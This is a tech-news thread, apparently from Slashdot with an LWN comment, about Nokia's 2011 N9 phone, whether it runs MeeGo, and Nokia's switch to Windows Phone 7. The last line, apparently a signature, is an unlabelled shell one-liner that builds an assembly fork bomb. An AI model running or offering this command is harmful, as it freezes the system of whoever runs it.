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Nokia Introduces MeeGo-Powered N9 Phone
An anonymous reader writes with news that Nokia has unveiled its first MeeGo-powered smartphone, the N9. "[T]he smartphone doesn't have any buttons on the front, with only the volume controls and a lock button located on the right side of the device. ... The performance of the prototype device felt very snappy, and it looks almost ready for retail. As a MeeGo device, the N9 will be running apps based on the Qt platform." The Washington Post calls it "the platform that could have been," referring to Nokia's decision to make the transition to Windows Phone for future devices. Others are impressed with the device, but see it as either a dead end or just another distraction to Nokia's long-term plans.
. . . is at long last finally here. Alas, it is stillborn, killed in the womb by corporate arrogance and indifference. Now, no one cares, not even me.
http://lwn.net/Articles/448590/
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Warning: This is not MeeGo
Posted Jun 21, 2011 14:48 UTC (Tue) by arjan (subscriber, #36785)
Parent article: Nokia's N9 handset launched
Despite Nokia's best efforts to confuse things, the N9 phone DOES NOT RUN MEEGO.
It runs the Harmattan OS, which isn't related to the MeeGo project at all, and is not compatible with MeeGo even.
It's very unfortunate that these mixed messages are happening, but at least at LWN we can be accurate about it.
-- Arjan who works on MeeGo
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The N950 was also announced with similar specs, as a keyboard-including successor to the N900. I'll laugh my ass off if the N9 takes off to the point where Nokia reconsiders going with WP7 - WP7 isn't a bad system, but a proper, complete, Linux on fast quality hardware is truly awesome.
....may not have effectively "owned" Nokia like they do today (Microsoft effectively paid Nokia $1B+ to guarantee WP7 was their prime platform).
I'm not saying it's too little to late, it does look like a fantastic phone with really fluid UI. And it runs Linux without a JVM layer. Nice.
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Engadget has a couple: Nokia N9 first hands on. It looks quite slick!
The N9 and N950 are not running MeeGo, but the previously in development Harmattan, which is a continuation of the Maemo line. All of the Qt APIs in use by MeeGo as of MeeGo 1.2 are available on the platform, however, and efforts are already underway to ensure that the Community Edition of MeeGo (which is a pure MeeGo platform) is available on the N9.
The N950, sadly, will only be available in limited quantities to commercial/professional developers, with roughly 250 to be handed out to open source developers in the community. Notably, the N950 doesn't have NFC so it can't be used to develop or test NFC applications.
The N9 both is and is not an upgrade to my N900. It's lack of a hardware keyboard, lack of an SD card slot, and capacitive screen are negatives, while the faster and slightly revised omap3630 processor and 1GB of RAM are definite upsides. Additionally, most major European countries plus the US are likely going to be delayed (hopefully just delayed) for the N9 release as Nokia seems to be prioritizing them for WP7.
I will probably get one, as a minor upgrade. Hopefully the price will be reasonable.
My hope is Symbian for dumbphones, WP7 for most smartphones and Maemo/Meego for the highend linux touchscreen computer phones. That allows Nokia to just continue support at the low end, not have to worry about the software side of the larger smartphone market and to be able to focus on pushing highend devices with their own platform that should appeal to power users.
Good question, also is the curved surfaced capacitive screen a first too? It's very striking in pictures from some angles
I can't think of another phone with a capacitive convex screen but the Nexus S has a concave one.
I don't get it. This phone looks great.
Some investor with vision, should grab the whole team, and set up a new company to build MeeGo phone, a real convergent mobile device. That way, you won't have the Nokia baggage, you don't have to fight internal politics of a giant corp, you get the excitement and energy of a new start up working on something cool, and best of all, you rid yourselves off that Elop.
Why couldn't they have released this phone with windows on it?
They wanted it to be good.
And yeah, I know Microsoft's reputation managers will mod this to oblivion, but it's true. Once you get past the flashy tiles, WP7 doesn't do anything particularly interesting, and is inconsistent/crappy about a whole bunch of things, like syncing, SD Cards, email, etc, etc.
Try one - you'll quickly understand why the few people who bought them ended up disappointed.
"I've got more toys than Teruhisa Kitahara."
For all of you Android haters that want a true Linux phone experience! Built with blessed APIs and running the latest mainline Linux kernel. This is your chance to prove us that a phone OS built using a fully open source development methods works. I am sick of going to conferences and hearing about how Android is bad for the community etc and then these same people pull out Apple iPhones. Needed to get that off my chest! :-)
I've been using Windows Mobile 6.x for ages and I wouldn't touch Windows Phone 7 with a barge-pole - it's off to Android for my next phone.
WM6.x was a bit ugly by default but enormously customisable and there was loads of software for it floating around as cab files of dubious legality. Also a lot of Windows applications were built for WM. I don't see that happening on WM7 which disallows native code. Only a C# API is allowed and third party applications have a crippled API. No multitasking or sockets for example. There's little chance of the people who wrote good apps for WM6.x rewriting them in C# - they've already moved to Android and or iPhone.
In a sense Microsoft are trying to go from an open but ugly platform like Android to a slick but locked down one like iOS. Mind you even iOS allows third parties to use the first class tools. On WP7 you need to have an agreement with Microsoft to do that. Adobe have one for example to implement Flash as native code. Some of the game vendors do too. In the absence of that you need to rewrite everything in C#. Most ISVs are not going to do that when there are tools that let them run their existing C/C++ code on both Android and iPhone which combined have a much larger market share than WP7. E.g. Android sold 36 million handsets last quarter. Microsoft sold 3.6 million of which 2.0 million were WM6.5 and 1.8 million were WP7.
So Opera and Mozilla have both stopped supporting Windows Mobile and won't support WP7.
WP7 is going to fail badly.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;